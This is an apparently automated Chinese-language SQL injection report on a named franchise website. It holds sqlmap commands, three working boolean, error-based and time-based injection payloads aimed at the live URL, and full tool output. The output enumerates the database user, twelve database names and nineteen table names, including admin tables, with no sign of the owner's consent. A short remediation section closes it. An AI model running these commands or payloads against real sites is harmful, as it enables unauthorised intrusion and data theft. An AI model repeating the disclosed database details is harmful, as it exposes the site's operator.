基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：此处需要手动搜索

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

注入网址:http://www.laio8.com/jiamengs/824\*.html

执行命令:python sqlmap.py -u http://www.laio8.com/jiamengs/824\*.html --random-agent --dbs --current-user --current-db --is-db

注入参数(方式) : #1\* (URI)  
 注入方式 : boolean-based blind  
 注入标题 : MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
 注入攻击 : http://www.laio8.com:80/jiamengs/824) RLIKE (SELECT (CASE WHEN (6291=6291) THEN 824 ELSE 0x28 END))-- bakn.html  
  
 注入方式 : error-based  
 注入标题 : MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 注入攻击 : http://www.laio8.com:80/jiamengs/824) AND (SELECT 3829 FROM(SELECT COUNT(\*),CONCAT(0x7176716b71,(SELECT (ELT(3829=3829,1))),0x716b707871,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a)-- eyqC.html  
  
 注入方式 : AND/OR time-based blind  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
 注入攻击 : http://www.laio8.com:80/jiamengs/824) AND SLEEP(5)-- tvgC.html

数据库类型 : MySQL  
服务器语言 : PHP 5.4.45, Apache  
数据库版本 : MySQL >= 5.0

网站信息报表

百度权重 2

网站主页 http://www.laio8.com

网站描述

网站标题 coco奶茶加盟多少钱|都可奶茶加盟|coco奶茶加盟网

IP\_\_坐标 获取失败

所属\_\_IP 获取失败

网站年龄 1年8月14天（创建于2017年08月18日,过期时间为2019年08月18日)

备案编号 暂无信息

备案性质 暂无信息

备案名称 暂无信息

备案时间 暂无信息

百度收录 暂无信息

协议类型 暂无信息

页面类型 -

服务类型 -

程序语言 -

网站漏洞复现

执行命令

python sqlmap.py -u http://www.laio8.com/jiamengs/824\*.html --random-agent --dbs --current-user --current-db --is-db

返回结果

\_\_\_  
 \_\_H\_\_  
 \_\_\_ \_\_\_[)]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
|\_ -| . ['] | .'| . |  
|\_\_\_|\_ [(]\_|\_|\_|\_\_,| \_|  
 |\_|V |\_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[\*] starting @ 22:17:32 /2019-05-02/  
  
[22:17:32] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061228 Firefox/2.0' from file 'C:\CODE\个人作品源代码\GET\_SQL\ExtrAct-SQL\_0.2\sqlmap\txt\user-agents.txt'  
custom injection marker ('\*') found in option '-u'. Do you want to process it? [Y/n/q] Y  
[22:17:33] [INFO] testing connection to the target URL  
[22:17:33] [INFO] checking if the target is protected by some kind of WAF/IPS  
[22:17:33] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS  
do you want sqlmap to try to detect backend WAF/IPS? [y/N] N  
[22:17:33] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')  
[22:17:33] [INFO] testing if the target URL content is stable  
[22:17:34] [INFO] target URL content is stable  
[22:17:34] [INFO] testing if URI parameter '#1\*' is dynamic  
[22:17:34] [WARNING] URI parameter '#1\*' does not appear to be dynamic  
[22:17:35] [INFO] heuristic (basic) test shows that URI parameter '#1\*' might be injectable (possible DBMS: 'MySQL')  
[22:17:35] [INFO] testing for SQL injection on URI parameter '#1\*'  
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y  
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y  
[22:17:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
[22:17:37] [WARNING] reflective value(s) found and filtering out  
[22:17:39] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'  
[22:17:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'  
[22:17:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'  
[22:18:04] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'  
[22:18:18] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'  
[22:18:19] [INFO] URI parameter '#1\*' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --code=200)  
[22:18:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'  
[22:18:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'  
[22:18:20] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'  
[22:18:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'  
[22:18:21] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON\_KEYS)'  
[22:18:21] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON\_KEYS)'  
[22:18:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
[22:18:22] [INFO] URI parameter '#1\*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable   
[22:18:22] [INFO] testing 'MySQL inline queries'  
[22:18:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'  
[22:18:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'  
[22:18:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'  
[22:18:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'  
[22:18:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'  
[22:18:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'  
[22:18:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
[22:18:44] [INFO] URI parameter '#1\*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable   
[22:18:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
[22:18:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'  
[22:18:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found  
[22:18:51] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'  
[22:18:58] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'  
[22:19:04] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'  
[22:19:10] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'  
[22:19:16] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'  
[22:19:23] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'  
[22:19:29] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'  
[22:19:36] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'  
[22:19:42] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'  
URI parameter '#1\*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
sqlmap identified the following injection point(s) with a total of 359 HTTP(s) requests:  
---  
Parameter: #1\* (URI)  
 Type: boolean-based blind  
 Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
 Payload: http://www.laio8.com:80/jiamengs/824) RLIKE (SELECT (CASE WHEN (6291=6291) THEN 824 ELSE 0x28 END))-- bakn.html  
  
 Type: error-based  
 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 Payload: http://www.laio8.com:80/jiamengs/824) AND (SELECT 3829 FROM(SELECT COUNT(\*),CONCAT(0x7176716b71,(SELECT (ELT(3829=3829,1))),0x716b707871,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a)-- eyqC.html  
  
 Type: AND/OR time-based blind  
 Title: MySQL >= 5.0.12 AND time-based blind  
 Payload: http://www.laio8.com:80/jiamengs/824) AND SLEEP(5)-- tvgC.html  
---  
[22:19:48] [INFO] the back-end DBMS is MySQL  
web application technology: PHP 5.4.45, Apache  
back-end DBMS: MySQL >= 5.0  
[22:19:48] [INFO] fetching current user  
[22:19:50] [INFO] retrieved: seozhan@localhost  
current user: 'seozhan@localhost'  
[22:19:50] [INFO] fetching current database  
[22:19:50] [INFO] retrieved: laio8\_com  
current database: 'laio8\_com'  
[22:19:50] [INFO] testing if current user is DBA  
[22:19:50] [INFO] fetching current user  
[22:19:50] [WARNING] potential permission problems detected ('command denied')  
current user is DBA: False  
[22:19:50] [INFO] fetching database names  
[22:19:51] [INFO] used SQL query returns 12 entries  
[22:19:51] [INFO] retrieved: information\_schema  
[22:19:51] [INFO] retrieved: baoshifumbgd\_com  
[22:19:52] [INFO] retrieved: cocodukenc\_com  
[22:19:52] [INFO] retrieved: dekeshihb\_com  
[22:19:52] [INFO] retrieved: dhxbjm\_com  
[22:19:53] [INFO] retrieved: joincyd\_com  
[22:19:53] [INFO] retrieved: laio8\_com  
[22:19:53] [INFO] retrieved: manjijmw\_com  
[22:19:54] [INFO] retrieved: mingdingbz\_com  
[22:19:54] [INFO] retrieved: test  
[22:19:54] [INFO] retrieved: yddncjm1\_com  
[22:19:55] [INFO] retrieved: zbpizzagw\_com  
available databases [12]:  
[\*] baoshifumbgd\_com  
[\*] cocodukenc\_com  
[\*] dekeshihb\_com  
[\*] dhxbjm\_com  
[\*] information\_schema  
[\*] joincyd\_com  
[\*] laio8\_com  
[\*] manjijmw\_com  
[\*] mingdingbz\_com  
[\*] test  
[\*] yddncjm1\_com  
[\*] zbpizzagw\_com  
  
[22:19:55] [WARNING] HTTP error codes detected during run:  
500 (Internal Server Error) - 364 times, 404 (Not Found) - 1 times  
[22:19:55] [INFO] fetched data logged to text files under 'C:\Users\langzi\.sqlmap\output\www.laio8.com'  
  
[\*] ending @ 22:19:55 /2019-05-02/

敏感数据

注入参数(方式) : #1\* (URI)  
 注入方式 : boolean-based blind  
 注入标题 : MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
 注入攻击 : http://www.laio8.com:80/jiamengs/824) RLIKE (SELECT (CASE WHEN (6291=6291) THEN 824 ELSE 0x28 END))-- bakn.html  
  
 注入方式 : error-based  
 注入标题 : MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 注入攻击 : http://www.laio8.com:80/jiamengs/824) AND (SELECT 3829 FROM(SELECT COUNT(\*),CONCAT(0x7176716b71,(SELECT (ELT(3829=3829,1))),0x716b707871,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a)-- eyqC.html  
  
 注入方式 : AND/OR time-based blind  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
 注入攻击 : http://www.laio8.com:80/jiamengs/824) AND SLEEP(5)-- tvgC.html

数据库类型 : MySQL  
服务器语言 : PHP 5.4.45, Apache  
数据库版本 : MySQL >= 5.0

当前用户: 'seozhan@localhost'

当前数据库: 'laio8\_com'

是否有DBA权限: False

所有数据库:

[\*] baoshifumbgd\_com  
[\*] cocodukenc\_com  
[\*] dekeshihb\_com  
[\*] dhxbjm\_com  
[\*] information\_schema  
[\*] joincyd\_com  
[\*] laio8\_com  
[\*] manjijmw\_com  
[\*] mingdingbz\_com  
[\*] test  
[\*] yddncjm1\_com  
[\*] zbpizzagw\_com

执行命令

python sqlmap.py -u http://www.laio8.com/jiamengs/824\*.html -D laio8\_com --tables --random-agent

返回结果

\_\_\_  
 \_\_H\_\_  
 \_\_\_ \_\_\_[.]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
|\_ -| . ["] | .'| . |  
|\_\_\_|\_ [(]\_|\_|\_|\_\_,| \_|  
 |\_|V |\_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[\*] starting @ 22:20:00 /2019-05-02/  
  
[22:20:01] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4' from file 'C:\CODE\个人作品源代码\GET\_SQL\ExtrAct-SQL\_0.2\sqlmap\txt\user-agents.txt'  
custom injection marker ('\*') found in option '-u'. Do you want to process it? [Y/n/q] Y  
[22:20:01] [INFO] resuming back-end DBMS 'mysql'   
[22:20:01] [INFO] testing connection to the target URL  
[22:20:01] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: #1\* (URI)  
 Type: boolean-based blind  
 Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
 Payload: http://www.laio8.com:80/jiamengs/824) RLIKE (SELECT (CASE WHEN (6291=6291) THEN 824 ELSE 0x28 END))-- bakn.html  
  
 Type: error-based  
 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 Payload: http://www.laio8.com:80/jiamengs/824) AND (SELECT 3829 FROM(SELECT COUNT(\*),CONCAT(0x7176716b71,(SELECT (ELT(3829=3829,1))),0x716b707871,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a)-- eyqC.html  
  
 Type: AND/OR time-based blind  
 Title: MySQL >= 5.0.12 AND time-based blind  
 Payload: http://www.laio8.com:80/jiamengs/824) AND SLEEP(5)-- tvgC.html  
---  
[22:20:01] [INFO] the back-end DBMS is MySQL  
web application technology: PHP 5.4.45, Apache  
back-end DBMS: MySQL >= 5.0  
[22:20:01] [INFO] fetching tables for database: 'laio8\_com'  
[22:20:02] [WARNING] reflective value(s) found and filtering out  
[22:20:02] [INFO] used SQL query returns 19 entries  
[22:20:02] [INFO] retrieved: admin\_login\_log  
[22:20:02] [INFO] retrieved: cms\_ad  
[22:20:03] [INFO] retrieved: cms\_adflash  
[22:20:03] [INFO] retrieved: cms\_admin  
[22:20:03] [INFO] retrieved: cms\_adpos  
[22:20:04] [INFO] retrieved: cms\_archives  
[22:20:04] [INFO] retrieved: cms\_auth\_group  
[22:20:04] [INFO] retrieved: cms\_auth\_group\_access  
[22:20:05] [INFO] retrieved: cms\_auth\_rule  
[22:20:05] [INFO] retrieved: cms\_bot  
[22:20:05] [INFO] retrieved: cms\_cate  
[22:20:06] [INFO] retrieved: cms\_conf  
[22:20:06] [INFO] retrieved: cms\_html  
[22:20:06] [INFO] retrieved: cms\_keywords  
[22:20:07] [INFO] retrieved: cms\_link  
[22:20:07] [INFO] retrieved: cms\_model  
[22:20:07] [INFO] retrieved: cms\_model\_fields  
[22:20:08] [INFO] retrieved: cms\_note  
[22:20:08] [INFO] retrieved: cms\_wenzhang  
Database: laio8\_com  
[19 tables]  
+-----------------------+  
| admin\_login\_log |  
| cms\_ad |  
| cms\_adflash |  
| cms\_admin |  
| cms\_adpos |  
| cms\_archives |  
| cms\_auth\_group |  
| cms\_auth\_group\_access |  
| cms\_auth\_rule |  
| cms\_bot |  
| cms\_cate |  
| cms\_conf |  
| cms\_html |  
| cms\_keywords |  
| cms\_link |  
| cms\_model |  
| cms\_model\_fields |  
| cms\_note |  
| cms\_wenzhang |  
+-----------------------+  
  
[22:20:08] [WARNING] HTTP error codes detected during run:  
500 (Internal Server Error) - 20 times  
[22:20:08] [INFO] fetched data logged to text files under 'C:\Users\langzi\.sqlmap\output\www.laio8.com'  
  
[\*] ending @ 22:20:08 /2019-05-02/

敏感数据

当前数据库下存在如下表

Database: laio8\_com  
[19 tables]  
+-----------------------+  
| admin\_login\_log |  
| cms\_ad |  
| cms\_adflash |  
| cms\_admin |  
| cms\_adpos |  
| cms\_archives |  
| cms\_auth\_group |  
| cms\_auth\_group\_access |  
| cms\_auth\_rule |  
| cms\_bot |  
| cms\_cate |  
| cms\_conf |  
| cms\_html |  
| cms\_keywords |  
| cms\_link |  
| cms\_model |  
| cms\_model\_fields |  
| cms\_note |  
| cms\_wenzhang |  
+-----------------------+

复现完成，验证存在SQL注入漏洞

修复建议

代码原理防护

1.对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
 包括但不限于以下字符及字符串  
 select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
 2.预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
 3.以最小权限执行SQL语句

安全防火墙防护

1.安装网站防火墙  
 2.接入云WAF